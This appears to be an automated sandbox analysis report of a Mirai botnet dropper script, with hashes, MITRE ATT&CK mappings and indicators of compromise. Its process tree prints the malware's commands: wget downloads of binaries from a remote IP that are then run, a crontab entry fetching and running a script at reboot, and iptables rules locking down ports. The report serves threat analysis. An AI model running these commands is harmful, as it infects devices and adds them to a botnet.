mirai | c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8

Analysis

max time kernel
136s
max time network
144s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28-12-2024 10:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

l.sh
Size

1KB
MD5

f1bc5c9578ad5b69e09a58a6b3721b64
SHA1

b7ce08c279c3c9c846a9f8edb4214e7fc4a40d72
SHA256

c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8
SHA512

5afccb744365dc43090fa8c18e965708c3e45f8239268a31e2453cc3c32ff7bab095fc1718d2f89d3c597770c973a000722b4cba95c78896b1e63a92dba93788

Score

10^/10

mirai botnet botnet defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1494	chmod
1517	chmod
1525	chmod
1539	sh
1501	chmod
1513	chmod
1521	chmod
1529	chmod
1533	chmod
1537	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/run/user/0/upnp	1502	upnp
/run/user/0/upnp	1514	upnp
/run/user/0/upnp	1518	upnp
/run/user/0/upnp	1522	upnp
/run/user/0/upnp	1526	upnp
/run/user/0/upnp	1530	upnp
/run/user/0/upnp	1534	upnp
/run/user/0/upnp	1538	upnp

Renames itself 1 IoCs

pid	Process
1538	upnp

Unexpected DNS network traffic destination 5 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	51.158.108.203
Destination IP	81.169.136.222
Destination IP	139.84.165.176
Destination IP	202.61.197.122
Destination IP	178.254.22.166

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.ZEbjp2	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	[kswapd0]	1538	upnp

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/651/stat	killall
File opened for reading	/proc/937/cmdline	killall
File opened for reading	/proc/1338/stat	killall
File opened for reading	/proc/26/stat	killall
File opened for reading	/proc/1293/cmdline	killall
File opened for reading	/proc/480/stat	killall
File opened for reading	/proc/1293/stat	killall
File opened for reading	/proc/mounts	cat
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/664/stat	killall
File opened for reading	/proc/1073/cmdline	killall
File opened for reading	/proc/2/stat	killall
File opened for reading	/proc/158/stat	killall
File opened for reading	/proc/587/stat	killall
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/1361/stat	killall
File opened for reading	/proc/1275/stat	killall
File opened for reading	/proc/1478/stat	killall
File opened for reading	/proc/30/stat	killall
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/253/stat	killall
File opened for reading	/proc/588/stat	killall
File opened for reading	/proc/160/stat	killall
File opened for reading	/proc/538/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/163/stat	killall
File opened for reading	/proc/948/cmdline	killall
File opened for reading	/proc/1174/cmdline	killall
File opened for reading	/proc/419/stat	killall
File opened for reading	/proc/946/stat	killall
File opened for reading	/proc/637/stat	killall
File opened for reading	/proc/948/stat	killall
File opened for reading	/proc/1179/stat	killall
File opened for reading	/proc/1459/cmdline	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/153/stat	killall
File opened for reading	/proc/412/cmdline	killall
File opened for reading	/proc/1086/stat	killall
File opened for reading	/proc/1161/cmdline	killall
File opened for reading	/proc/1480/stat	killall
File opened for reading	/proc/filesystems	killall
File opened for reading	/proc/165/stat	killall
File opened for reading	/proc/1035/stat	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/35/stat	killall
File opened for reading	/proc/1474/stat	killall
File opened for reading	/proc/1057/stat	killall
File opened for reading	/proc/1110/cmdline	killall
File opened for reading	/proc/1126/cmdline	killall
File opened for reading	/proc/1239/stat	killall
File opened for reading	/proc/1104/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/1151/stat	killall
File opened for reading	/proc/1275/cmdline	killall
File opened for reading	/proc/27/stat	killall
File opened for reading	/proc/701/stat	killall
File opened for reading	/proc/956/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/457/stat	killall
File opened for reading	/proc/1141/stat	killall
File opened for reading	/proc/1228/stat	killall
File opened for reading	/proc/1000/stat	killall

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1524	wget
1526	upnp

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.a	l.sh

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.a	l.sh

/tmp/l.sh
/tmp/l.sh
1⤵
- Writes file to shm directory
- Writes file to tmp directory
PID:1480
- /usr/bin/killall
  killall -9 dvrLocker
  2⤵
  - Reads runtime system information
  PID:1481
- /usr/bin/cut
  cut -d " " -f 2
  2⤵
  PID:1487
- /bin/grep
  grep -v noexe
  2⤵
  PID:1486
- /bin/grep
  grep rw
  2⤵
  PID:1485
- /bin/grep
  grep tmpfs
  2⤵
  PID:1484
- /bin/cat
  cat /proc/mounts
  2⤵
  - Reads runtime system information
  PID:1483
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:1488
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:1489
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:1490
- /bin/cp
  cp /proc/self/exe .f
  2⤵
  - Reads runtime system information
  PID:1492
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:1494
- /bin/rm
  rm -rf upnp
  2⤵
  PID:1495
- /usr/bin/wget
  wget http://103.188.82.218/t/arm -O -
  2⤵
  PID:1496
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:1501
- /run/user/0/upnp
  ./upnp tplink.arm
  2⤵
  - Executes dropped EXE
  PID:1502
- /usr/bin/wget
  wget http://103.188.82.218/t/arm5 -O -
  2⤵
  PID:1504
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /run/user/0/upnp
  ./upnp tplink.arm5
  2⤵
  - Executes dropped EXE
  PID:1514
- /usr/bin/wget
  wget http://103.188.82.218/t/arm6 -O -
  2⤵
  PID:1516
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /run/user/0/upnp
  ./upnp tplink.arm6
  2⤵
  - Executes dropped EXE
  PID:1518
- /usr/bin/wget
  wget http://103.188.82.218/t/arm6 -O -
  2⤵
  PID:1520
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /run/user/0/upnp
  ./upnp tplink.arm6
  2⤵
  - Executes dropped EXE
  PID:1522
- /usr/bin/wget
  wget http://103.188.82.218/t/mips -O -
  2⤵
  - System Network Configuration Discovery
  PID:1524
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /run/user/0/upnp
  ./upnp tplink.mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1526
- /usr/bin/wget
  wget http://103.188.82.218/t/mpsl -O -
  2⤵
  PID:1528
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:1529
- /run/user/0/upnp
  ./upnp tplink.mpsl
  2⤵
  - Executes dropped EXE
  PID:1530
- /usr/bin/wget
  wget http://103.188.82.218/t/ppc -O -
  2⤵
  PID:1532
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:1533
- /run/user/0/upnp
  ./upnp tplink.ppc
  2⤵
  - Executes dropped EXE
  PID:1534
- /usr/bin/wget
  wget http://103.188.82.218/t/x86 -O -
  2⤵
  PID:1536
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /run/user/0/upnp
  ./upnp tplink.x86
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Changes its process name
  PID:1538
- - /bin/sh
    sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
    3⤵
    - File and Directory Permissions Modification
    PID:1539
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1541
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1542
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 443 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:1544
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 80 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:1549
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8081 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:1550
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8080 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:1551
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8888 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:1552
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 443 -j DROP
  2⤵
  PID:1553
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 80 -j DROP
  2⤵
  PID:1554
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8081 -j DROP
  2⤵
  PID:1555
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8080 -j DROP
  2⤵
  PID:1556
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8888 -j DROP
  2⤵
  PID:1557

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/run/user/0/.f

Filesize
138KB

MD5
f7d53f25b67715fd4959eb7787de7902

SHA1
27860d9e8de0d83600fdbb4e8734af72fa638e50

SHA256
007d90bd141b2cdbd3cbc5e5f472b3144d122440c73a46d58ee61df2dd71e56e

SHA512
14283c5f84a96eac1a8bcd495c52105dbef9bb0fe0404dde3e5eb7531ab54bedd83e4ccfadb23c5572533979887aca54745854d3bf05cc30306e23b9713b5a3c

Download Submit
/run/user/0/upnp

Filesize
73KB

MD5
f812a7b3a877f717eb6e54b843b41848

SHA1
21ee67d9a9b638621646e1b57fdc0f1eb0bdfa25

SHA256
9a7e77eff17b6bab95e53989adca31512823cf0c92a342a1b7e2ca445d9bb560

SHA512
c236138e33d6d68c2bf4a6f5a4289070089b5bdb4ee153bc9f317e6ed5da00cb3b2117c68f427d0d58b072a7d453c728f5471c257e752b3514a1077b6978a732

Download Submit
/run/user/0/upnp

Filesize
85KB

MD5
d8b9115310ca0429f6ec2473696156a2

SHA1
5497d765ad0b6ad6ed2204338faecd9671f6a60c

SHA256
7f089801a37f1d9a83a5103c8f9b1c6fc00f9ce699cb812cc23704aea8d46c8c

SHA512
a3adc2f2a36bdf40bda9e592f03bf51c3a3e7954fbeb8e52d1517537c72efc7df2d22e8be0d1ac85b768aacb45bd77cabb0ced0885ac96c17252b8af63cdb664

Download Submit
/run/user/0/upnp

Filesize
99KB

MD5
559f129d380ad1cfb60792c6b2dc3d32

SHA1
3997a0fc0bd5958783f1751364ec407c5b170adc

SHA256
fbdbd0392519e49a09e647d8c83046fb15d6dcbb8246ee2f813d10018ba8ac3d

SHA512
9f5c39334121b5bde6a282f47b92a841130627f1554ff5089005c371af4c2be5ddc467ad594013fa2fb70a55172b6ba7a6caf50c0cba56564170e482955dc112

Download Submit
/run/user/0/upnp

Filesize
100KB

MD5
6eacc766bbc8a29a3c5b247214052e51

SHA1
c214bd410358cb95ca8f71f90780a8d064319683

SHA256
cb727a0517434be1c4b64e19182888e449be71fadcca1a6bfb60fc8791d1d13d

SHA512
e3cdf8154cbd7b6769533eb3c0aebec3a9e62242a218068a7105b0f0df023cb42c2366f48f720a4534b6265cc8997617e947cb0ae9a0bb04394754185819c0a9

Download Submit
/run/user/0/upnp

Filesize
77KB

MD5
d09db60a70d5b53b5b53ad39476fd7e8

SHA1
73a75e5e8200f77d857a7256cc0979077e29241d

SHA256
36b5ad3793ba15e920ea49a43467610bfce85149afc12af166a56bb2011a9165

SHA512
ea6156cf3b4480fef088a1fefd8bd1845418606a412a8ab883734e2d297e6169de35456ecd2a5738967ef310066482069262171329624d28184a919cefb21c04

Download Submit
/var/spool/cron/crontabs/tmp.ZEbjp2

Filesize
306B

MD5
abcb4f7f25c33644db9b0806bd5c3d6d

SHA1
e36fe0afb8be9529fbe95757a57aff84d02e4373

SHA256
d4af4da0ff6390cb15e32e37044103883e1111f50da03b8a28f5671484e8b463

SHA512
29082e32c4b49fdd8fbf1efa5b992d4f74d2dc58eca8f46924e8f86c90a8b1e638602bcc9c76df553d58d7638c1c36bb857b770605893e921b3affe9852ca7a9

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads